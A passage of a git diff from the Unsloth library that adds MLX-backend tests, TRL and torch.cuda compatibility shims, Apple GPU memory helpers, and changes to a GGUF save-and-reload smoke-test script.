+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_preserves_explicit_processor_over_vision_collator():
+    """Explicit processor kwargs should stay authoritative over collator metadata."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+    explicit_processor = object()
+
+    class Processor:
+        pass
+
+    collator_processor = Processor()
+    collator_processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), collator_processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processor = explicit_processor,
+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is explicit_processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_forwards_vision_collator_positional_defaults():
+    """Vision collator CUDA-style positionals should route into MLX args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(
+        _DummyVLMModel(),
+        object(),
+        2048,
+        None,
+        "max",
+        -100,
+        False,
+        None,
+        None,
+        True,
+        None,
+        False,
+    )
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        data_collator = collator,
+    )
+
+    assert trainer.args.max_seq_length == 2048
+    assert trainer.args.image_size == "max"
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_vision_collator_default_does_not_override_explicit_args():
+    """Implicit collator defaults should not override explicit trainer args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), object())
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = False,
+        ),
+        data_collator = collator,
+    )
+
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs():
+    """Unsupported kwargs that change training semantics should fail on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "peft_config"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            peft_config = object(),
+        )
+
+
+def test_mlx_trainer_rejects_metrics_and_callbacks():
+    """Trainer hooks should fail because MLXTrainer cannot honor them yet."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "callbacks"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            callbacks = [object()],
+        )
+    with pytest.raises(NotImplementedError, match = "compute_metrics"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            compute_metrics = lambda *_: None,
+        )
+
+
+def test_mlx_trainer_rejects_custom_data_collator():
+    """MLXTrainer owns batching; custom SFT data collators must not be ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "data_collator"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            data_collator = object(),
+        )
+
+
+def test_mlx_trainer_rejects_text_completion_only_loss():
+    """Text MLX training should not silently ignore completion_only_loss=True."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "completion_only_loss=True"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = unsloth.UnslothTrainingArguments(
+                max_steps = 1,
+                completion_only_loss = True,
+            ),
+        )
+
+
+def test_mlx_trainer_allows_vlm_completion_only_loss():
+    """VLM MLX training supports completion_only_loss during collation."""
+    unsloth = _import_mlx_unsloth()
+
+    class VLMModel(_DummyModel):
+        _is_vlm_model = True
+
+    trainer = unsloth.UnslothTrainer(
+        model = VLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = True,
+        ),
+    )
+
+    assert trainer.args.completion_only_loss is True
+
+
+def test_mlx_trainer_accepts_trl_style_positional_args():
+    """TRL-style positional `(model, args, ...)` should not be read as tokenizer."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("trl-outputs", max_steps = 2)
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        args,
+        train_dataset = [],
+        tokenizer = None,
+    )
+
+    assert trainer.args is args
+    assert trainer.args.output_dir == "trl-outputs"
+    assert trainer.train_dataset == []
+
+
+def test_mlx_trainer_accepts_trl_none_placeholder_positionals():
+    """Explicit TRL default placeholders should preserve later positional args."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+    processing_class = object()
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+        None,
+        processing_class,
+    )
+
+    assert getattr(trainer.train_dataset, "_dataset", trainer.train_dataset) is dataset
+    assert getattr(trainer, "_mlx_train_dataset_for_batches", dataset) is dataset
+    assert trainer.tokenizer is processing_class
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_none_placeholder_positionals():
+    """Short TRL placeholder calls should keep the fourth arg as train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_placeholders_with_keyword_dataset():
+    """Short TRL placeholders should not conflict with keyword train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        train_dataset = dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_preserves_mlx_positional_schema_with_none_tokenizer():
+    """MLX-style `(model, tokenizer, train_dataset, ...)` should still work."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        dataset,
+        None,
+    )
+
+    assert trainer.tokenizer is None
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+
+
+def test_mlx_compatibility_shims_are_installed():
+    """Old notebook imports should resolve to the MLX public API after unsloth import."""
+    unsloth = _import_mlx_unsloth()
+
+    trl = importlib.import_module("trl")
+    trainer_module = importlib.import_module("unsloth.trainer")
+    chat_templates = importlib.import_module("unsloth.chat_templates")
+    dataset_utils = importlib.import_module("unsloth_zoo.dataset_utils")
+
+    assert importlib.util.find_spec("trl") is not None
+    assert importlib.util.find_spec("unsloth.trainer") is not None
+    assert unsloth.trainer is trainer_module
+    assert unsloth.chat_templates is chat_templates
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer
+    assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator
+    assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only
+    assert callable(unsloth.train_on_responses_only)
+
+
+def test_mlx_trl_shim_preserves_existing_trl_module(monkeypatch):
+    """The MLX TRL shim should patch, not replace, an already-loaded TRL module."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.existing_marker = object()
+    trl.ExistingExport = object()
+    trl.__all__ = ["ExistingExport", "BrokenExport"]
+
+    def _raise_for_broken_export(name):
+        if name == "BrokenExport":
+            raise RuntimeError("optional dependency missing")
+        raise AttributeError(name)
+
+    trl.__getattr__ = _raise_for_broken_export
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    assert sys.modules["trl"] is trl
+    assert trl.__path__ == ["real-trainer-package"]
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+    assert "ExistingExport" in trl.__all__
+    assert "BrokenExport" not in trl.__all__
+    assert "SFTTrainer" in trl.__all__
+    assert "SFTConfig" in trl.__all__
+
+
+def test_mlx_trl_shim_installs_real_trl_or_stub(monkeypatch):
+    """The MLX TRL shim should prefer real TRL and stub only if unavailable."""
+    unsloth = _import_mlx_unsloth()
+    monkeypatch.delitem(sys.modules, "trl", raising = False)
+    real_trl_available = importlib.util.find_spec("trl") is not None
+
+    unsloth._install_mlx_trl_sft_shim()
+    trl = importlib.import_module("trl")
+
+    if real_trl_available:
+        assert trl.__version__ != "0.0.0+unsloth-mlx"
+    else:
+        assert trl.__version__ == "0.0.0+unsloth-mlx"
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+
+
+def test_mlx_trl_star_import_exports_public_shims():
+    """Existing `from trl import *` callers should receive MLX SFT shims."""
+    unsloth = _import_mlx_unsloth()
+    namespace = {}
+
+    exec("from trl import *", namespace)
+
+    assert namespace["SFTTrainer"] is unsloth.UnslothTrainer
+    assert issubclass(namespace["SFTConfig"], unsloth.UnslothTrainingArguments)
+
+
+def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch):
+    """GRPO/DPO/ORPO trainers have no MLX path, so the shim retargets the ones trl
+    exposes to a clear NotImplementedError instead of a confusing CUDA crash, and
+    never invents trainers trl does not have."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+
+    class _RealTrainer:
+        def __init__(self, *args, **kwargs):
+            raise AssertionError("the real torch/CUDA trainer must not run on MLX")
+
+    trl.GRPOTrainer = _RealTrainer
+    trl.DPOTrainer = _RealTrainer
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        assert getattr(trl, name) is not _RealTrainer
+        with pytest.raises(NotImplementedError) as exc:
+            getattr(trl, name)(model = None, args = None)
+        assert "MLX" in str(exc.value) and name in str(exc.value)
+    # trainers trl never exposed must not be invented
+    assert not hasattr(trl, "PPOTrainer")
+    # idempotent: a second install keeps the same stub
+    stub = trl.GRPOTrainer
+    unsloth._install_mlx_trl_sft_shim()
+    assert trl.GRPOTrainer is stub
+
+
+def test_mlx_rl_trainer_stub_is_lazy_import_safe(monkeypatch):
+    """Stubbing unsupported trl trainers must not resolve them: trl lazy-imports
+    pull torch, so on a torch-free MLX install a getattr probe would crash
+    `import unsloth`. The shim reads __all__/vars metadata and never triggers
+    trl's __getattr__ for a trainer it is about to replace."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "GRPOTrainer", "DPOTrainer"]
+    resolved = []
+
+    def _lazy_getattr(name):
+        resolved.append(name)
+        raise ImportError(f"lazy import of {name} would pull torch")
+
+    trl.__getattr__ = _lazy_getattr
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()  # must not raise despite the lazy trl
+
+    # trainers declared in __all__ are stubbed WITHOUT ever resolving the real one
+    assert resolved == []
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        with pytest.raises(NotImplementedError):
+            getattr(trl, name)(model = None)
+
+
+def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch):
+    """Any non-SFT trainer trl exports (e.g. a newer RLOOTrainer not in the fixed
+    list) must be stubbed too, so no torch trainer slips through on MLX."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "RLOOTrainer"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    with pytest.raises(NotImplementedError) as exc:
+        trl.RLOOTrainer(model = None)
+    assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value)
+    # SFT stays usable; only non-SFT trainers are stubbed
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+
+
+def test_mlx_preserve_dataset_order_is_accepted():
+    """preserve_dataset_order=True must be accepted (it is a real MLX config field),
+    not rejected as an unknown/unsupported argument."""
+    unsloth = _import_mlx_unsloth()
+    args = unsloth.UnslothTrainingArguments(
+        output_dir = "mlx-out",
+        max_steps = 10,
+        preserve_dataset_order = True,
+    )
+    assert getattr(args, "preserve_dataset_order", False) is True
+
+
+def test_mlx_sftconfig_alias_keeps_trl_epoch_default(monkeypatch):
+    """`trl.SFTConfig` (aliased on MLX) keeps TRL's default training length: with
+    no explicit max_steps/num_train_epochs it runs TRL's 3 epochs, not the native
+    MLX 60-step default. An explicit length is authoritative and untouched."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    # no explicit length -> TRL epoch default (3 epochs, step cap disabled)
+    cfg = trl.SFTConfig(output_dir = "mlx-out")
+    assert cfg.num_train_epochs == 3
+    assert cfg.max_steps == -1
+    # explicit step / epoch counts stay exactly as written
+    assert trl.SFTConfig(output_dir = "mlx-out", max_steps = 17).max_steps == 17
+    assert trl.SFTConfig(output_dir = "mlx-out", num_train_epochs = 2).num_train_epochs == 2
+
+
+def test_mlx_vision_collator_is_constructor_compatible():
+    """Vision notebooks should be able to instantiate the collator placeholder."""
+    unsloth = _import_mlx_unsloth()
+
+    collator = unsloth.UnslothVisionDataCollator("model", "processor", flag = True)
+
+    assert collator.model == "model"
+    assert collator.processor == "processor"
+    assert collator.kwargs == {"completion_only_loss": True, "flag": True}
+
+
+def test_mlx_train_on_responses_only_returns_shared_mask_function():
+    """The MLX public shim should expose the shared response-mask helper."""
+    unsloth = _import_mlx_unsloth()
+
+    class Tokenizer:
+        def __call__(
+            self,
+            text,
+            add_special_tokens = False,
+        ):
+            return types.SimpleNamespace(
+                input_ids = {
+                    "<user>": [1],
+                    "<assistant>": [2],
+                }[text]
+            )
+
+        def convert_tokens_to_ids(self, token):
+            return token
+
+    mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+    )
+    masked = mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 21, 1, 11]],
+        }
+    )
+
+    assert masked == {"labels": [[-100, -100, -100, 20, 21, -100, -100]]}
+
+    last_mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+        last_response_only = True,
+    )
+    last_masked = last_mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 1, 11, 2, 30]],
+        }
+    )
+
+    assert last_masked == {"labels": [[-100, -100, -100, -100, -100, -100, -100, 30]]}
+
+
+def test_mlx_get_chat_template_uses_light_tokenizer_patch(monkeypatch):
+    """MLX notebooks should not import CUDA-heavy tokenizer/save helpers."""
+    _import_mlx_unsloth()
+    from unsloth.chat_templates import get_chat_template
+    import unsloth_zoo.tokenizer_utils as tokenizer_utils
+
+    class Tokenizer:
+        is_fast = True
+        padding_side = "right"
+        eos_token = "<eos>"
+        bos_token = "<bos>"
+        unk_token = "<unk>"
+        pad_token = "<pad>"
+        added_tokens_decoder = {}
+
+    def fake_patch_tokenizer(model, tokenizer):
+        return model, tokenizer
+
+    real_import = builtins.__import__
+
+    def guarded_import(name, *args, **kwargs):
+        if name.startswith("unsloth.models") or name.startswith("unsloth.save"):
+            raise AssertionError(f"unexpected CUDA-heavy import: {name}")
+        return real_import(name, *args, **kwargs)
+
+    monkeypatch.setattr(tokenizer_utils, "patch_tokenizer", fake_patch_tokenizer)
+    monkeypatch.setattr(builtins, "__import__", guarded_import)
+
+    tokenizer = get_chat_template(
+        Tokenizer(),
+        chat_template = ("{{ messages }}", "<eos>"),
+    )
+
+    assert tokenizer.chat_template == "{{ messages }}"
+    assert tokenizer.padding_side == "right"
+
+
+def test_mlx_gpu_memory_stats_helper_shape():
+    """The portable memory helper should return CUDA-shaped values."""
+    unsloth = _import_mlx_unsloth()
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+
+    assert isinstance(stats.name, str)
+    assert hasattr(stats, "total_memory")
+    assert isinstance(used, float)
+    assert total > 0
+
+
+def test_mlx_torch_cuda_compatibility_shim():
+    """Existing CUDA memory and move calls should run on MLX."""
+    unsloth = _import_mlx_unsloth()
+    torch = pytest.importorskip("torch")
+    from transformers.tokenization_utils_base import BatchEncoding
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+    cuda_stats = torch.cuda.get_device_properties(0)
+
+    assert cuda_stats.name == stats.name
+    assert cuda_stats.total_memory == stats.total_memory
+    assert torch.cuda.get_device_name(0) == stats.name
+    assert torch.cuda.max_memory_reserved() == int(used * 1024 * 1024 * 1024)
+    assert torch.cuda.max_memory_allocated() == torch.cuda.max_memory_reserved()
+    # current (non-max) APIs report live active memory, not the peak high-water
+    # mark, and never exceed it.
+    assert 0 <= torch.cuda.memory_reserved() <= torch.cuda.max_memory_reserved()
+    assert torch.cuda.memory_allocated() == torch.cuda.memory_reserved()
+    assert torch.cuda.device_count() == 1
+    assert torch.cuda.current_device() == 0
+    assert torch.cuda.get_device_capability() == (0, 0)
+    assert total > 0
+
+    free_bytes, total_bytes = torch.cuda.mem_get_info()
+    assert total_bytes == int(total * 1024 * 1024 * 1024)
+    assert 0 <= free_bytes <= total_bytes
+
+    torch.cuda.empty_cache()
+    torch.cuda.synchronize()
+    torch.cuda.reset_peak_memory_stats()
+    torch.cuda.set_device(0)
+
+    tensor = torch.tensor([1, 2, 3])
+    assert tensor.to("cuda") is tensor
+    assert tensor.cuda() is tensor
+    assert tensor.to(device = "cuda") is tensor
+    assert tensor.to("cuda", dtype = torch.float32).dtype == torch.float32
+
+    batch = BatchEncoding({"input_ids": tensor})
+    assert batch.to("cuda") is batch
+    assert batch.to(device = "cuda") is batch
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index 7a63dcfb85..275fe7ac57 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -403,10 +403,14 @@ def cmd_train(args) -> int:
     metrics["gguf_dir"] = str(gguf_dir)
     with Phase("save_gguf", metrics):
         try:
+            # q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0
+            # CPU kernels, whereas bf16 CPU decode is unusably slow on the runner
+            # and made the fresh-process llama-cli reload below time out. q8_0 is
+            # also what users deploy by default.
             model.save_pretrained_gguf(
                 str(gguf_dir),
                 tokenizer = tokenizer,
-                quantization_method = "not_quantized",
+                quantization_method = "fast_quantized",
             )
             gguf_files = sorted(gguf_dir.glob("*.gguf"))
             if not gguf_files:
@@ -565,31 +569,36 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
         raise SystemExit(f"no .gguf files in {save_dir}")
     gguf_path = gguf_files[0]
 
-    # This is a save/reload-integrity smoke; a few generated tokens are enough.
-    # Keep llama.cpp bounded on macOS runners where BF16 GGUF decode is CPU-bound.
+    # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is
+    # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow
+    # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model
+    # advertises 32768), and keep generation short; all env-tunable.
     n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8")
     n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4))
+    n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256")
+    n_gpu_layers = os.environ.get("UNSLOTH_GGUF_RELOAD_NGL", "0")
     reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420"))
-
+    argv = [
+        str(llama_cli),
+        "-m",
+        str(gguf_path),
+        "-p",
+        PROMPT,
+        "-n",
+        n_predict,
+        "-t",
+        n_threads,
+        "-c",
+        n_ctx,
+        "-ngl",
+        n_gpu_layers,
+        "--temp",
+        "0",
+        "--seed",
+        str(SEED),
+        "--no-warmup",
+    ]
     with Phase("reload_gguf", metrics):
-        argv = [
-            str(llama_cli),
-            "-m",
-            str(gguf_path),
-            "-p",
-            PROMPT,
-            "-n",
-            n_predict,
-            "-t",
-            n_threads,
-            "--temp",
-            "0",
-            "--seed",
-            str(SEED),
-            "-c",
-            "256",
-            "--no-warmup",
-        ]
         try:
             proc = subprocess.run(
                 argv,
@@ -606,6 +615,7 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
                     return stream.decode("utf-8", errors = "replace")
                 return stream or ""
 
+            print(f"  [reload:gguf] TIMEOUT running: {' '.join(argv)}", flush = True)
             print(f"  [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True)
             print(f"  [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True)
             raise
diff --git a/unsloth/__init__.py b/unsloth/__init__.py
index 8202195ca8..04cc600725 100644
--- a/unsloth/__init__.py
+++ b/unsloth/__init__.py
@@ -33,6 +33,27 @@ if platform.system() == "Windows":
             pass
 
 
+class _UnslothDeviceStats:
+    """Portable device metadata used by backend memory-reporting helpers."""
+
+    def __init__(
+        self,
+        name,
+        total_memory = 0,
+    ):
+        """Store a display name and total memory in bytes."""
+        self.name = name
+        self.total_memory = int(total_memory or 0)
+        self.major = 0
+        self.minor = 0
+        self.multi_processor_count = 0
+
+
+def _bytes_to_gb(value):
+    """Convert byte counts to GiB rounded"""
+    return round(float(value or 0) / 1024 / 1024 / 1024, 3)
+
+
 def _is_mlx_available():
     # Transitional import barrier: keep non-Apple-Silicon imports from touching
     # unsloth_zoo until unsloth_zoo.mlx is import-safe on GPU hosts. Then this
@@ -66,7 +87,12 @@ if _IS_MLX:
     # mlx.trainer / mlx.loader submodules. Surface a friendly install hint
     # instead of a raw ImportError on the submodule path.
     try:
-        from unsloth_zoo.mlx.trainer import MLXTrainer, MLXTrainingConfig
+        from unsloth_zoo.mlx.trainer import (
+            MLXTrainer,
+            MLXTrainingConfig,
+            _is_vlm_model,
+            _normalize_mlx_optimizer_name,
+        )
         from unsloth_zoo.mlx.loader import FastMLXModel
     except ImportError as _e:
         raise ImportError(
@@ -75,6 +101,53 @@ if _IS_MLX:
             "`pip install -U unsloth-zoo` or rerun install.sh."
         ) from _e
 
+    import dataclasses as _dataclasses
+    import importlib.machinery as _machinery
+    import sys as _sys
+    import types as _types
+    import warnings as _warnings
+
+    __version__ = unsloth_zoo.__version__
+    DEVICE_TYPE = "mlx"
+
+    def _is_mlx_cuda_device_target(device):
+        """Return True when a torch .to/.cuda target asks for CUDA on MLX."""
+        if device is None:
+            return False
+        return str(device).lower().startswith("cuda")
+
+    def _patch_mlx_batch_encoding_to_cuda():
+        """Treat tokenizer_output.to("cuda") as a no-op on the MLX backend."""
+        try:
+            from transformers.tokenization_utils_base import BatchEncoding
+        except Exception:
+            return
+
+        original_to = getattr(BatchEncoding, "to", None)
+        if original_to is None or getattr(original_to, "_unsloth_mlx_cuda_noop", False):
+            return
+
+        def batch_encoding_to(
+            self,
+            device = None,
+            *args,
+            **kwargs,
+        ):
+            target = kwargs.get("device", device)
+            if _is_mlx_cuda_device_target(target):
+                return self
+            # device given by keyword: don't also pass the positional None, or the
+            # original raises "multiple values for 'device'" (e.g. .to(device="cpu")).
+            if "device" in kwargs:
+                return original_to(self, *args, **kwargs)
+            return original_to(self, device, *args, **kwargs)
+
+        batch_encoding_to._unsloth_mlx_cuda_noop = True
+        batch_encoding_to._unsloth_original_to = original_to
+        BatchEncoding.to = batch_encoding_to
+
+    _patch_mlx_batch_encoding_to_cuda()
+
     # Load raw_text helpers without executing dataprep/__init__.py, which
     # imports synthetic.py -> torch and would defeat the torch-free MLX path.
     from pathlib import Path as _Path
@@ -89,9 +162,6 @@ if _IS_MLX:
     TextPreprocessor = _raw_text.TextPreprocessor
     del _raw_text, _raw_text_spec, _raw_text_path, _Path
 
-    __version__ = unsloth_zoo.__version__
-    DEVICE_TYPE = "mlx"
-
     class FastLanguageModel:
         @staticmethod
         def from_pretrained(*args, **kwargs):
@@ -141,14 +211,1202 @@ if _IS_MLX:
 
     is_bf16_supported = is_bfloat16_supported
 
+    def get_gpu_memory_stats():
+        """Return MLX device stats, peak memory, and total memory in GiB."""
+        import mlx.core as mx
+
+        info = mx.device_info()
+        total = info.get("memory_size") or info.get("max_recommended_working_set_size") or 0
+        get_peak_memory = getattr(mx, "get_peak_memory", None)
+        if get_peak_memory is None and hasattr(mx, "metal"):
+            get_peak_memory = getattr(mx.metal, "get_peak_memory", None)
+        peak = get_peak_memory() if callable(get_peak_memory) else 0
+        stats = _UnslothDeviceStats(info.get("device_name", "Apple GPU"), total)
+        max_memory = _bytes_to_gb(total) or 1.0
+        return stats, _bytes_to_gb(peak), max_memory
+
+    def clear_gpu_memory():
+        """Clear MLX's cached GPU memory for compatibility cleanup helpers."""
+        import mlx.core as mx
+
+        clear_cache = getattr(mx, "clear_cache", None)
+        if clear_cache is None and hasattr(mx, "metal"):
+            clear_cache = getattr(mx.metal, "clear_cache", None)
+        if callable(clear_cache):
+            clear_cache()
+
+    def _patch_mlx_torch_cuda_compat_api():
+        """Expose CUDA-shaped torch helpers for compatibility callers on MLX."""
+        try:
+            import torch
+        except Exception:
+            return
+
+        cuda = getattr(torch, "cuda", None)
+        if cuda is not None and not getattr(cuda, "_unsloth_mlx_cuda_compat_api", False):
+
+            def get_device_properties(device = None):
+                """Return MLX device stats through torch.cuda's compatibility API."""
+                return get_gpu_memory_stats()[0]
+
+            def get_device_name(device = None):
+                """Return the MLX device name through torch.cuda's compatibility API."""
+                return get_device_properties(device).name
+
+            def max_memory_reserved(device = None):
+                """Return MLX peak memory in bytes for torch.cuda compatibility API."""
+                return int(get_gpu_memory_stats()[1] * 1024 * 1024 * 1024)
+
+            def empty_cache():
+                """Clear MLX cache through torch.cuda.empty_cache()."""
+                clear_gpu_memory()
+
+            def _mlx_active_memory_bytes():
+                """Current active MLX memory in bytes (not the peak high-water mark)."""
+                import mlx.core as mx
+
+                get_active = getattr(mx, "get_active_memory", None)
+                if get_active is None and hasattr(mx, "metal"):
+                    get_active = getattr(mx.metal, "get_active_memory", None)
+                return int(get_active()) if callable(get_active) else 0
+
+            def memory_current(device = None):
+                """Return CURRENT MLX memory in bytes. torch.cuda.memory_reserved /
+                memory_allocated report live usage, not the peak (that is max_*)."""
+                return _mlx_active_memory_bytes()
+
+            def mem_get_info(device = None):
+                """Return (free, total) bytes for torch.cuda compatibility API.
+                Free uses CURRENT active memory, not the peak high-water mark, so
+                a capacity check stays accurate after a transient spike."""
+                total = int(get_gpu_memory_stats()[2] * 1024 * 1024 * 1024)
+                return (max(total - _mlx_active_memory_bytes(), 0), total)
+
+            def reset_peak_memory_stats(device = None):
+                """Reset MLX's peak-memory counter so a later max_memory_reserved /
+                max_memory_allocated scopes to the run, not earlier model-load peaks."""
+                import mlx.core as mx
+
+                reset = getattr(mx, "reset_peak_memory", None)
+                if reset is None and hasattr(mx, "metal"):
+                    reset = getattr(mx.metal, "reset_peak_memory", None)
+                if callable(reset):
+                    reset()
+
+            def synchronize(device = None):
+                """Wait for queued MLX work when torch.cuda.synchronize() is called."""
+                import mlx.core as mx
+
+                sync = getattr(mx, "synchronize", None)
+                if callable(sync):
+                    sync()
+
+            cuda.get_device_properties = get_device_properties
+            cuda.get_device_name = get_device_name
+            cuda.max_memory_reserved = max_memory_reserved
+            cuda.max_memory_allocated = max_memory_reserved
+            cuda.memory_reserved = memory_current
+            cuda.memory_allocated = memory_current
+            cuda.empty_cache = empty_cache
+            cuda.mem_get_info = mem_get_info
+            cuda.reset_peak_memory_stats = reset_peak_memory_stats
+            cuda.synchronize = synchronize
+            cuda.current_device = lambda: 0
+            cuda.device_count = lambda: 1
+            cuda.set_device = lambda device = None: None
+            cuda.get_device_capability = lambda device = None: (0, 0)
+            cuda.is_bf16_supported = lambda *args, **kwargs: is_bfloat16_supported()
+            cuda._unsloth_mlx_cuda_compat_api = True
+
+        tensor_to = getattr(torch.Tensor, "to", None)
+        if tensor_to is not None and not getattr(tensor_to, "_unsloth_mlx_cuda_noop", False):
+
+            def _coerce_mlx_dtype_to_torch(value):
+                """Map MLX dtype objects to their torch dtype equivalents."""
+                try:
+                    import mlx.core as mx
+                except Exception:
+                    return value
+                dtype_map = {
+                    mx.bool_: torch.bool,
+                    mx.int8: torch.int8,
+                    mx.int16: torch.int16,
+                    mx.int32: torch.int32,
+                    mx.int64: torch.int64,
+                    mx.uint8: torch.uint8,
+                    mx.float16: torch.float16,
+                    mx.float32: torch.float32,
+                    mx.bfloat16: torch.bfloat16,
+                }
+                mapped = dtype_map.get(value, None)
+                if mapped is not None:
+                    return mapped
+                dtype_name = str(value).rsplit(".", 1)[-1]
+                name_map = {
+                    "bool_": torch.bool,
+                    "int8": torch.int8,
+                    "int16": torch.int16,
